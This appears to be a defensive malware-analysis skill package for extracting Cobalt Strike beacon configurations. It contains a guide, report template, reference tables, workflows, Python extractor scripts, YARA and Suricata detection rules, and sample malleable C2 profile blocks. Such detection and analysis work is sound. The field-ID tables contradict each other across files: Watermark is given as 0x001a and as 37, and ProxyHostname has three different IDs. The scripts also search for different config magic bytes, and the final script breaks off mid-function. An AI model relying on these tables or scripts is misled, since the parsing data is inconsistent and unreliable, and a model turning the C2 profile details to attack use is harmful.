description: Extract and analyze Cobalt Strike beacon configuration from PE files
and memory dumps to identify C2 infrastructure, malleable profiles, and operator
tradecraft.
domain: cybersecurity
subdomain: malware-analysis
tags:
- cobalt-strike
- beacon
- c2
- malware-analysis
- config-extraction
- threat-hunting
- red-team-tools
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1071.001
- T1573.001
- T1090.004
- T1105
- T1027
---
# Analyzing Cobalt Strike Beacon Configuration
## Overview
Cobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section.
## When to Use
- When investigating security incidents that require analyzing cobalt strike beacon configuration
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python`
- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`)
- Hex editor (010 Editor, HxD) for manual inspection
- Understanding of PE file format and XOR encoding
- Memory dump acquisition tools (Volatility3, WinDbg)
- Network analysis tools (Wireshark) for C2 traffic correlation
## Key Concepts
### Beacon Configuration Structure
Cobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data.
### Malleable C2 Profiles
The beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic.
### Watermark and License Identification
Each Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys.
## Workflow
### Step 1: Extract Configuration with CobaltStrikeParser
```python
#!/usr/bin/env python3
"""Extract Cobalt Strike beacon config from PE or memory dump."""
import sys
import json
# Using SentinelOne's CobaltStrikeParser
# pip install dissect.cobaltstrike
from dissect.cobaltstrike.beacon import BeaconConfig
def extract_beacon_config(filepath):
"""Parse beacon configuration from file."""
configs = list(BeaconConfig.from_path(filepath))
if not configs:
print(f"[-] No beacon configuration found in {filepath}")
return None
for i, config in enumerate(configs):
print(f"\n[+] Beacon Configuration #{i+1}")
print(f"{'='*60}")
settings = config.as_dict()
# Critical fields for incident response
critical_fields = [
"SETTING_C2_REQUEST",
"SETTING_C2_RECOVER",
"SETTING_PUBKEY",
"SETTING_DOMAINS",
"SETTING_BEACONTYPE",
"SETTING_PORT",
"SETTING_SLEEPTIME",
"SETTING_JITTER",
"SETTING_MAXGET",
"SETTING_SPAWNTO_X86",
"SETTING_SPAWNTO_X64",
"SETTING_PIPENAME",
"SETTING_WATERMARK",
"SETTING_C2_VERB_GET",
"SETTING_C2_VERB_POST",
"SETTING_USERAGENT",
"SETTING_PROTOCOL",
]
for field in critical_fields:
value = settings.get(field, "N/A")
print(f" {field}: {value}")
return settings
return None
def extract_c2_indicators(config):
"""Extract actionable C2 indicators from beacon config."""
indicators = {
"c2_domains": [],
"c2_ips": [],
"c2_urls": [],
"user_agent": "",
"named_pipes": [],
"spawn_processes": [],
"watermark": "",
}
if not config:
return indicators
# Extract C2 domains
domains = config.get("SETTING_DOMAINS", "")
if domains:
for domain in str(domains).split(","):
domain = domain.strip().rstrip("/")
if domain:
indicators["c2_domains"].append(domain)
# Extract user agent
indicators["user_agent"] = str(config.get("SETTING_USERAGENT", ""))
# Extract named pipes
pipe = config.get("SETTING_PIPENAME", "")
if pipe:
indicators["named_pipes"].append(str(pipe))
# Extract spawn-to processes
for arch in ["SETTING_SPAWNTO_X86", "SETTING_SPAWNTO_X64"]:
proc = config.get(arch, "")
if proc:
indicators["spawn_processes"].append(str(proc))
# Extract watermark
indicators["watermark"] = str(config.get("SETTING_WATERMARK", ""))
return indicators
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <beacon_file_or_dump>")
sys.exit(1)
config = extract_beacon_config(sys.argv[1])
if config:
indicators = extract_c2_indicators(config)
print(f"\n[+] Extracted C2 Indicators:")
print(json.dumps(indicators, indent=2))
```
### Step 2: Manual XOR Decryption of Beacon Config
```python
import struct
def find_and_decrypt_config(data):
"""Manually locate and decrypt beacon configuration."""
# Cobalt Strike 4.x uses 0x2e as XOR key
xor_keys = [0x2e, 0x69] # v4, v3
for xor_key in xor_keys:
# Search for the config magic bytes after XOR
# Config starts with 0x0001 (BeaconType) XOR'd with key
magic = bytes([0x00 ^ xor_key, 0x01 ^ xor_key,
0x00 ^ xor_key, 0x02 ^ xor_key])
offset = data.find(magic)
if offset == -1:
continue
print(f"[+] Found config at offset 0x{offset:x} (XOR key: 0x{xor_key:02x})")
# Decrypt the config blob (typically 4096 bytes)
config_size = 4096
encrypted = data[offset:offset + config_size]
decrypted = bytes([b ^ xor_key for b in encrypted])
# Parse TLV entries
entries = parse_tlv(decrypted)
return entries
return None
def parse_tlv(data):
"""Parse Type-Length-Value configuration entries."""
entries = {}
offset = 0
# TLV field type mapping
field_names = {
0x0001: "BeaconType",
0x0002: "Port",
0x0003: "SleepTime",
0x0004: "MaxGetSize",
0x0005: "Jitter",
0x0006: "MaxDNS",
0x0007: "Deprecated_PublicKey",
0x0008: "C2Server",
0x0009: "UserAgent",
0x000a: "PostURI",
0x000b: "Malleable_C2_Instructions",
0x000c: "Deprecated_HttpGet_Metadata",
0x000d: "SpawnTo_x86",
0x000e: "SpawnTo_x64",
0x000f: "CryptoScheme",
0x001a: "Watermark",
0x001d: "C2_HostHeader",
0x0024: "PipeName",
0x0025: "Year",
0x0026: "Month",
0x0027: "Day",
0x0036: "ProxyHostname",
}
while offset + 6 <= len(data):
entry_type = struct.unpack(">H", data[offset:offset+2])[0]
entry_len_type = struct.unpack(">H", data[offset+2:offset+4])[0]
entry_len = struct.unpack(">H", data[offset+4:offset+6])[0]
if entry_type == 0:
break
value_start = offset + 6
value_end = value_start + entry_len
value_data = data[value_start:value_end]
field_name = field_names.get(entry_type, f"Unknown_0x{entry_type:04x}")
if entry_len_type == 1: # Short
value = struct.unpack(">H", value_data[:2])[0]
elif entry_len_type == 2: # Int
value = struct.unpack(">I", value_data[:4])[0]
elif entry_len_type == 3: # String/Blob
value = value_data.rstrip(b'\x00').decode('utf-8', errors='replace')
else:
value = value_data.hex()
entries[field_name] = value
print(f" {field_name}: {value}")
offset = value_end
return entries
```
### Step 3: YARA Rule for Beacon Detection
```python
import yara
cobalt_strike_rule = """
rule CobaltStrike_Beacon_Config {
meta:
description = "Detects Cobalt Strike beacon configuration"
author = "Malware Analysis Team"
date = "2025-01-01"
strings:
// XOR'd config marker for CS 4.x (key 0x2e)
$config_v4 = { 2e 2f 2e 2c }
// XOR'd config marker for CS 3.x (key 0x69)
$config_v3 = { 69 68 69 6b }
// Common beacon strings
$str_pipe = "\\\\.\\pipe\\" ascii wide
$str_beacon = "beacon" ascii nocase
$str_sleeptime = "sleeptime" ascii nocase
// Reflective loader pattern
$reflective = { 4D 5A 41 52 55 48 89 E5 }
condition:
($config_v4 or $config_v3) or
(2 of ($str_*) and $reflective)
}
"""
def scan_for_beacons(filepath):
"""Scan file with YARA rules for Cobalt Strike beacons."""
rules = yara.compile(source=cobalt_strike_rule)
matches = rules.match(filepath)
for match in matches:
print(f"[+] YARA Match: {match.rule}")
for string_match in match.strings:
offset = string_match.instances[0].offset
print(f" String: {string_match.identifier} at offset 0x{offset:x}")
return matches
```
### Step 4: Network Traffic Correlation
```python
from dissect.cobaltstrike.c2 import HttpC2Config
def analyze_c2_profile(beacon_config):
"""Analyze malleable C2 profile from beacon configuration."""
print("\n[+] Malleable C2 Profile Analysis")
print("=" * 60)
# HTTP GET configuration
get_verb = beacon_config.get("SETTING_C2_VERB_GET", "GET")
get_uri = beacon_config.get("SETTING_C2_REQUEST", "")
print(f"\n HTTP GET Request:")
print(f" Verb: {get_verb}")
print(f" URI: {get_uri}")
# HTTP POST configuration
post_verb = beacon_config.get("SETTING_C2_VERB_POST", "POST")
post_uri = beacon_config.get("SETTING_C2_POSTREQ", "")
print(f"\n HTTP POST Request:")
print(f" Verb: {post_verb}")
print(f" URI: {post_uri}")
# User Agent
ua = beacon_config.get("SETTING_USERAGENT", "")
print(f"\n User-Agent: {ua}")
# Host header
host = beacon_config.get("SETTING_C2_HOSTHEADER", "")
print(f" Host Header: {host}")
# Sleep and jitter for traffic pattern
sleep_ms = beacon_config.get("SETTING_SLEEPTIME", 60000)
jitter = beacon_config.get("SETTING_JITTER", 0)
print(f"\n Sleep Time: {sleep_ms}ms")
print(f" Jitter: {jitter}%")
# Generate Suricata/Snort signatures
print(f"\n[+] Suggested Network Signatures:")
if ua:
print(f' alert http any any -> any any (msg:"CS Beacon UA"; '
f'content:"{ua}"; http_user_agent; sid:1000001; rev:1;)')
if get_uri:
print(f' alert http any any -> any any (msg:"CS Beacon URI"; '
f'content:"{get_uri}"; http_uri; sid:1000002; rev:1;)')
```
## Validation Criteria
- Beacon configuration successfully extracted from PE file or memory dump
- C2 server domains/IPs correctly identified with port and protocol
- Malleable C2 profile parameters decoded showing HTTP transforms
- Watermark value extracted for attribution correlation
- Sleep time and jitter values match observed network beacon intervals
- YARA rules detect beacon in both packed and unpacked samples
- Network signatures generated from extracted C2 profile
## References
- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
- [dissect.cobaltstrike Library](https://github.com/fox-it/dissect.cobaltstrike)
- [SentinelLabs Beacon Configuration Analysis](https://www.sentinelone.com/labs/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/)
- [Cobalt Strike Staging and Config Extraction](https://blog.securehat.co.uk/cobaltstrike/extracting-config-from-cobaltstrike-stager-shellcode)
- [MITRE ATT&CK - Cobalt Strike S0154](https://attack.mitre.org/software/S0154/)

View File

@@ -0,0 +1,95 @@
# Cobalt Strike Beacon Analysis Report Template
## Report Metadata
| Field | Value |
|-------|-------|
| Report ID | CS-BEACON-YYYY-NNNN |
| Date | YYYY-MM-DD |
| Sample Hash (SHA-256) | |
| Classification | TLP:AMBER |
| Analyst | |
## Beacon Configuration Summary
| Setting | Value |
|---------|-------|
| Beacon Type | HTTP / HTTPS / SMB / DNS |
| C2 Server(s) | |
| Port | |
| Sleep Time | ms |
| Jitter | % |
| User-Agent | |
| Watermark | |
| SpawnTo (x86) | |
| SpawnTo (x64) | |
| Named Pipe | |
| Host Header | |
| Crypto Scheme | |
## C2 Infrastructure
| Indicator | Type | Value | Context |
|-----------|------|-------|---------|
| C2 Domain | domain | | Primary callback |
| C2 IP | ip | | Resolved address |
| URI Path (GET) | uri | | Beacon check-in |
| URI Path (POST) | uri | | Data exfiltration |
## Malleable C2 Profile
### HTTP GET Configuration
| Parameter | Value |
|-----------|-------|
| URI | |
| Verb | |
| Headers | |
| Metadata Encoding | |
### HTTP POST Configuration
| Parameter | Value |
|-----------|-------|
| URI | |
| Verb | |
| ID Encoding | |
| Output Encoding | |
## Watermark Attribution
| Watermark | Known Association | Confidence |
|-----------|------------------|------------|
| | Cracked / Licensed / Threat Actor | High/Med/Low |
## Network Detection Signatures
```
# Suricata signature for beacon C2 traffic
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Cobalt Strike Beacon C2 Communication";
content:"[USER_AGENT]"; http_user_agent;
content:"[URI_PATH]"; http_uri;
sid:1000001; rev:1;
)
```
## YARA Detection Rule
```yara
rule CobaltStrike_Beacon_[CAMPAIGN] {
meta:
description = "Detects Cobalt Strike beacon from [CAMPAIGN]"
hash = "[SHA256]"
strings:
$c2 = "[C2_DOMAIN]" ascii
$pipe = "[NAMED_PIPE]" ascii
$ua = "[USER_AGENT]" ascii
condition:
2 of them
}
```
## Recommendations
1. **Block**: Add C2 domains/IPs to firewall deny lists
2. **Hunt**: Search for named pipe and spawn-to process in endpoint logs
3. **Detect**: Deploy YARA and network signatures to detection stack
4. **Correlate**: Check watermark against threat intelligence databases

View File

@@ -0,0 +1,112 @@
# API Reference: Cobalt Strike Beacon Configuration Analysis
## Beacon Config TLV Format
### Structure
```
[Field ID: 2 bytes][Type: 2 bytes][Value: variable]
Type 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data)
```
### XOR Encoding
| Version | XOR Key |
|---------|---------|
| CS 3.x | `0x69` |
| CS 4.x | `0x2E` |
### Key Configuration Fields
| ID | Name | Description |
|----|------|-------------|
| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS |
| 2 | Port | C2 communication port |
| 3 | SleepTime | Beacon interval (ms) |
| 5 | Jitter | Random sleep variation (%) |
| 7 | PublicKey | RSA public key for encryption |
| 8 | C2Server | Command and control server(s) |
| 9 | UserAgent | HTTP User-Agent string |
| 10 | PostURI | POST callback URI |
| 37 | Watermark | License watermark (operator ID) |
| 54 | PipeName | Named pipe for SMB beacons |
## 1768.py (Didier Stevens) - Config Extractor
### Syntax
```bash
python 1768.py <beacon_file> # Extract config
python 1768.py -j <beacon_file> # JSON output
python 1768.py -r <beacon_file> # Raw config dump
```
## CobaltStrikeParser (SentinelOne)
### Syntax
```bash
python parse_beacon_config.py <file>
python parse_beacon_config.py --json <file>
```
### Output Fields
```
BeaconType: HTTPS
Port: 443
SleepTime: 60000
Jitter: 37
C2Server: update.microsoft-cdn.com,/api/v2
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Watermark: 305419896
SpawnToX86: %windir%\syswow64\dllhost.exe
SpawnToX64: %windir%\sysnative\dllhost.exe
```
## JARM Fingerprinting
### Cobalt Strike Default JARM
```bash
# Default CS JARM hash (pre-4.7)
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
# Scan with JARM
python jarm.py <target_ip> -p 443
```
## Known Watermark Values
| Watermark | Attribution |
|-----------|------------|
| 0 | Trial/cracked version |
| 305419896 | Common cracked version |
| 1359593325 | Known threat actor toolkit |
| 1580103824 | Known APT usage |
## Detection Signatures
### Suricata
```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"ET MALWARE Cobalt Strike Beacon";
content:"/submit.php"; http_uri;
content:"Cookie:"; http_header;
pcre:"/Cookie:\s[A-Za-z0-9+/=]{60,}/H";
sid:2028591; rev:1;)
```
### YARA
```yara
rule CobaltStrike_Beacon {
strings:
$config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 }
$magic = "MSSE-%d-server"
$pipe = "\\\\.\\pipe\\msagent_"
condition:
uint16(0) == 0x5A4D and any of them
}
```
## Malleable C2 Profile Elements
| Element | Description |
|---------|-------------|
| `http-get` | GET request profile (URI, headers, metadata transform) |
| `http-post` | POST request profile (URI, body transform) |
| `set sleeptime` | Default beacon interval |
| `set jitter` | Randomization percentage |
| `set useragent` | HTTP User-Agent |
| `set pipename` | SMB named pipe name |

View File

@@ -0,0 +1,94 @@
# Standards and Frameworks Reference
## Cobalt Strike Beacon Configuration Fields
### Configuration TLV Types
| Type ID | Field Name | Data Type | Description |
|---------|-----------|-----------|-------------|
| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind |
| 0x0002 | Port | Short | C2 communication port |
| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds |
| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) |
| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs |
| 0x0009 | UserAgent | String | HTTP User-Agent header value |
| 0x000a | PostURI | String | URI for HTTP POST requests |
| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex |
| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex |
| 0x001a | Watermark | Int | License watermark identifier |
| 0x0024 | PipeName | String | Named pipe for SMB beacon |
| 0x001d | HostHeader | String | HTTP Host header value |
| 0x0032 | ProxyHostname | String | Proxy server address |
### XOR Encoding Scheme
- **Cobalt Strike 3.x**: XOR key = 0x69
- **Cobalt Strike 4.x**: XOR key = 0x2e
- Configuration blob size: 4096 bytes (typical)
- Encoding: Single-byte XOR across entire config blob
### Stageless Beacon Structure
- PE with beacon code in .data section
- 4-byte XOR key applied to .data section content
- Configuration embedded after beacon code
- Reflective DLL loader prepended to beacon
## MITRE ATT&CK Mappings
### Cobalt Strike Techniques (S0154)
| Technique | ID | Description |
|-----------|-----|------------|
| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication |
| Encrypted Channel | T1573.002 | AES-256 encrypted C2 |
| Ingress Tool Transfer | T1105 | Download additional payloads |
| Process Injection | T1055 | Inject into spawned processes |
| Named Pipes | T1570 | SMB beacon lateral movement |
| Service Execution | T1569.002 | PSExec-style lateral movement |
| Reflective Code Loading | T1620 | In-memory beacon loading |
## Malleable C2 Profile Structure
### HTTP GET Block
```
http-get {
set uri "/path";
client {
header "Accept" "text/html";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "text/html";
output {
print;
}
}
}
```
### HTTP POST Block
```
http-post {
set uri "/submit";
client {
id {
uri-append;
}
output {
base64;
print;
}
}
server {
output {
print;
}
}
}
```
## References
- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/)
- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)
- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/)

View File

@@ -0,0 +1,72 @@
# Cobalt Strike Beacon Analysis Workflows
## Workflow 1: PE File Configuration Extraction
```
[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt]
|
v
[Parse TLV Config]
|
v
[Extract C2 Indicators]
```
### Steps:
1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection
2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker)
3. **Section Analysis**: Locate .data section containing XOR'd beacon code
4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key
5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings
6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks
## Workflow 2: Memory Dump Beacon Extraction
```
[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config]
|
v
[C2 Infrastructure Map]
```
### Steps:
1. **Acquisition**: Capture memory dump from compromised system
2. **Process Scan**: Use Volatility3 to identify suspicious processes
3. **Injection Detection**: Use malfind to find RWX memory regions
4. **Region Extraction**: Dump injected memory regions to files
5. **Config Search**: Scan dumps for beacon configuration signatures
6. **Infrastructure Mapping**: Correlate extracted C2 with network logs
## Workflow 3: Watermark Attribution
```
[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution]
|
v
[Campaign Correlation]
```
### Steps:
1. **Collection**: Gather beacon samples from incident or threat intel feeds
2. **Watermark Extraction**: Extract watermark value from each sample
3. **Database Lookup**: Check watermark against known databases
4. **Clustering**: Group beacons sharing the same watermark
5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster
6. **Attribution Assessment**: Link to known threat actor or cracked license
## Workflow 4: C2 Traffic Detection
```
[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS]
|
v
[Monitor Network Traffic]
```
### Steps:
1. **Profile Extraction**: Parse malleable C2 profile from beacon config
2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding
3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns
4. **Deployment**: Deploy signatures to network detection infrastructure
5. **Validation**: Test signatures against captured beacon traffic
6. **Monitoring**: Alert on matching network flows for active beacons

View File

@@ -0,0 +1,239 @@
#!/usr/bin/env python3
"""Cobalt Strike beacon configuration extraction and analysis agent.
Extracts C2 configuration from beacon payloads including server addresses,
communication settings, malleable C2 profile details, and watermark values.
"""
import struct
import os
import sys
import hashlib
from collections import OrderedDict
# Cobalt Strike beacon configuration field IDs (Type-Length-Value format)
BEACON_CONFIG_FIELDS = {
1: ("BeaconType", "short"),
2: ("Port", "short"),
3: ("SleepTime", "int"),
4: ("MaxGetSize", "int"),
5: ("Jitter", "short"),
7: ("PublicKey", "bytes"),
8: ("C2Server", "str"),
9: ("UserAgent", "str"),
10: ("PostURI", "str"),
11: ("Malleable_C2_Instructions", "bytes"),
12: ("HttpGet_Metadata", "bytes"),
13: ("HttpPost_Metadata", "bytes"),
14: ("SpawnToX86", "str"),
15: ("SpawnToX64", "str"),
19: ("CryptoScheme", "short"),
26: ("GetVerb", "str"),
27: ("PostVerb", "str"),
28: ("HttpPostChunk", "int"),
29: ("Spawnto_x86", "str"),
30: ("Spawnto_x64", "str"),
31: ("CryptoScheme2", "str"),
37: ("Watermark", "int"),
38: ("StageCleanup", "short"),
39: ("CFGCaution", "short"),
43: ("DNS_Idle", "int"),
44: ("DNS_Sleep", "int"),
50: ("HostHeader", "str"),
54: ("PipeName", "str"),
}
BEACON_TYPES = {0: "HTTP", 1: "Hybrid HTTP/DNS", 2: "SMB", 4: "TCP", 8: "HTTPS", 16: "DNS over HTTPS"}
XOR_KEY_V3 = 0x69
XOR_KEY_V4 = 0x2E
def compute_hash(filepath):
"""Compute SHA-256 hash of file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def find_config_offset(data):
"""Find the beacon configuration blob in PE data or shellcode."""
# Look for XOR-encoded config patterns
for xor_key in [XOR_KEY_V3, XOR_KEY_V4]:
# Config starts with 0x0001 (BeaconType field ID) XOR-encoded
encoded_marker = bytes([0x00 ^ xor_key, 0x01 ^ xor_key, 0x00 ^ xor_key, 0x01 ^ xor_key])
offset = data.find(encoded_marker)
if offset != -1:
return offset, xor_key
# Try unencoded
for offset in range(len(data) - 100):
if data[offset:offset+4] == b"\x00\x01\x00\x01":
return offset, None
return -1, None
def xor_decode(data, key):
"""XOR decode data with single byte key."""
if key is None:
return data
return bytes(b ^ key for b in data)
def parse_config_field(data, offset):
"""Parse a single TLV config field."""
if offset + 6 > len(data):
return None, None, None, offset
field_id = struct.unpack_from(">H", data, offset)[0]
field_type = struct.unpack_from(">H", data, offset + 2)[0]
if field_type == 1: # short
value = struct.unpack_from(">H", data, offset + 4)[0]
return field_id, "short", value, offset + 6
elif field_type == 2: # int
value = struct.unpack_from(">I", data, offset + 4)[0]
return field_id, "int", value, offset + 8
elif field_type == 3: # str/bytes
length = struct.unpack_from(">H", data, offset + 4)[0]
if offset + 6 + length > len(data):
return None, None, None, offset
value = data[offset + 6:offset + 6 + length]
return field_id, "str", value, offset + 6 + length
return None, None, None, offset + 2
def extract_beacon_config(filepath):
"""Extract and parse Cobalt Strike beacon configuration."""
with open(filepath, "rb") as f:
data = f.read()
config_offset, xor_key = find_config_offset(data)
if config_offset == -1:
return {"error": "No beacon configuration found", "file": filepath}
config_data = xor_decode(data[config_offset:config_offset + 4096], xor_key)
config = OrderedDict()
config["_meta"] = {
"config_offset": f"0x{config_offset:08X}",
"xor_key": f"0x{xor_key:02X}" if xor_key else "none",
"version_guess": "4.x" if xor_key == XOR_KEY_V4 else "3.x" if xor_key == XOR_KEY_V3 else "unknown",
}
offset = 0
max_fields = 100
parsed = 0
while offset < len(config_data) - 4 and parsed < max_fields:
field_id, field_type, value, new_offset = parse_config_field(config_data, offset)
if field_id is None or new_offset == offset:
break
offset = new_offset
parsed += 1
field_info = BEACON_CONFIG_FIELDS.get(field_id)
if field_info:
field_name, expected_type = field_info
if isinstance(value, bytes):
try:
str_value = value.rstrip(b"\x00").decode("utf-8", errors="replace")
config[field_name] = str_value
except Exception:
config[field_name] = value.hex()[:100]
elif field_id == 1:
config[field_name] = BEACON_TYPES.get(value, f"Unknown({value})")
else:
config[field_name] = value
return config
def extract_c2_indicators(config):
"""Extract C2 indicators from parsed config for threat intelligence."""
indicators = {"c2_servers": [], "user_agents": [], "uris": [],
"pipes": [], "watermark": None, "dns": []}
c2 = config.get("C2Server", "")
if c2:
for server in c2.split(","):
server = server.strip().rstrip("/")
if server:
indicators["c2_servers"].append(server)
ua = config.get("UserAgent", "")
if ua:
indicators["user_agents"].append(ua)
for key in ["PostURI"]:
uri = config.get(key, "")
if uri:
indicators["uris"].append(uri)
pipe = config.get("PipeName", "")
if pipe:
indicators["pipes"].append(pipe)
wm = config.get("Watermark")
if wm:
indicators["watermark"] = wm
return indicators
def assess_operator_opsec(config):
"""Assess operator OPSEC based on beacon configuration."""
findings = []
sleep = config.get("SleepTime", 0)
jitter = config.get("Jitter", 0)
if sleep < 30000:
findings.append({"level": "INFO", "detail": f"Low sleep time: {sleep}ms - high beacon frequency"})
if jitter == 0:
findings.append({"level": "WARN", "detail": "No jitter configured - predictable beacon interval"})
ua = config.get("UserAgent", "")
if "Mozilla" not in ua and ua:
findings.append({"level": "WARN", "detail": f"Non-standard User-Agent: {ua[:60]}"})
spawn86 = config.get("SpawnToX86", config.get("Spawnto_x86", ""))
if "rundll32" in spawn86.lower():
findings.append({"level": "INFO", "detail": "Default spawn-to process (rundll32) - easy to detect"})
cleanup = config.get("StageCleanup", 0)
if cleanup == 0:
findings.append({"level": "INFO", "detail": "Stage cleanup disabled - beacon stub remains in memory"})
return findings
if __name__ == "__main__":
print("=" * 60)
print("Cobalt Strike Beacon Configuration Extractor")
print("C2 extraction, watermark analysis, OPSEC assessment")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target or not os.path.exists(target):
print("\n[DEMO] Usage: python agent.py <beacon_sample.exe>")
print(" Extracts: C2 servers, sleep/jitter, watermark, malleable profile")
sys.exit(0)
print(f"\n[*] Analyzing: {target}")
print(f"[*] SHA-256: {compute_hash(target)}")
print(f"[*] Size: {os.path.getsize(target)} bytes")
config = extract_beacon_config(target)
if "error" in config:
print(f"\n[!] {config['error']}")
sys.exit(1)
print("\n--- Beacon Configuration ---")
for key, value in config.items():
if key == "_meta":
for mk, mv in value.items():
print(f" {mk}: {mv}")
else:
print(f" {key}: {value}")
indicators = extract_c2_indicators(config)
print("\n--- C2 Indicators ---")
for c2 in indicators["c2_servers"]:
print(f" [C2] {c2}")
if indicators["watermark"]:
print(f" [Watermark] {indicators['watermark']}")
for pipe in indicators["pipes"]:
print(f" [Pipe] {pipe}")
opsec = assess_operator_opsec(config)
print("\n--- Operator OPSEC Assessment ---")
for f in opsec:
print(f" [{f['level']}] {f['detail']}")

View File

@@ -0,0 +1,337 @@
#!/usr/bin/env python3
"""
Cobalt Strike Beacon Configuration Analyzer
Extracts and analyzes beacon configurations from PE files, shellcode,
and memory dumps using dissect.cobaltstrike and manual parsing.
Requirements:
pip install dissect.cobaltstrike pefile yara-python
Usage:
python process.py --file beacon.exe --output report.json
python process.py --file memdump.bin --scan-memory
python process.py --directory ./samples --batch
"""
import argparse
import json
import os
import struct
import sys
from collections import defaultdict
from datetime import datetime
from pathlib import Path
try:
from dissect.cobaltstrike.beacon import BeaconConfig
except ImportError:
print("ERROR: dissect.cobaltstrike not installed.")
print("Run: pip install dissect.cobaltstrike")
sys.exit(1)
# TLV field type mapping
TLV_FIELDS = {
0x0001: ("BeaconType", "short"),
0x0002: ("Port", "short"),
0x0003: ("SleepTime", "int"),
0x0004: ("MaxGetSize", "int"),
0x0005: ("Jitter", "short"),
0x0006: ("MaxDNS", "short"),
0x0008: ("C2Server", "str"),
0x0009: ("UserAgent", "str"),
0x000a: ("PostURI", "str"),
0x000b: ("Malleable_C2_Instructions", "blob"),
0x000d: ("SpawnTo_x86", "str"),
0x000e: ("SpawnTo_x64", "str"),
0x000f: ("CryptoScheme", "short"),
0x001a: ("Watermark", "int"),
0x001d: ("HostHeader", "str"),
0x0024: ("PipeName", "str"),
0x0025: ("Year", "short"),
0x0026: ("Month", "short"),
0x0027: ("Day", "short"),
0x002c: ("ProxyHostname", "str"),
0x002d: ("ProxyUsername", "str"),
0x002e: ("ProxyPassword", "str"),
}
BEACON_TYPES = {
0: "HTTP",
1: "Hybrid HTTP/DNS",
2: "SMB",
4: "TCP",
8: "HTTPS",
10: "TCP Bind",
14: "External C2",
}
class BeaconAnalyzer:
"""Analyze Cobalt Strike beacon configurations."""
def __init__(self):
self.results = []
def analyze_file(self, filepath):
"""Extract beacon config from a file."""
filepath = Path(filepath)
if not filepath.exists():
print(f"[-] File not found: {filepath}")
return None
print(f"[*] Analyzing: {filepath}")
# Try dissect.cobaltstrike first
result = self._extract_with_dissect(filepath)
# Fall back to manual extraction
if not result:
result = self._extract_manual(filepath)
if result:
result["source_file"] = str(filepath)
result["analysis_time"] = datetime.now().isoformat()
self.results.append(result)
return result
def _extract_with_dissect(self, filepath):
"""Extract config using dissect.cobaltstrike library."""
try:
configs = list(BeaconConfig.from_path(filepath))
if not configs:
return None
config = configs[0]
settings = config.as_dict()
result = {
"method": "dissect.cobaltstrike",
"config": {},
"indicators": {},
}
for key, value in settings.items():
if value is not None:
result["config"][key] = str(value)
result["indicators"] = self._extract_indicators(settings)
return result
except Exception as e:
print(f" [!] dissect extraction failed: {e}")
return None
def _extract_manual(self, filepath):
"""Manual XOR-based config extraction."""
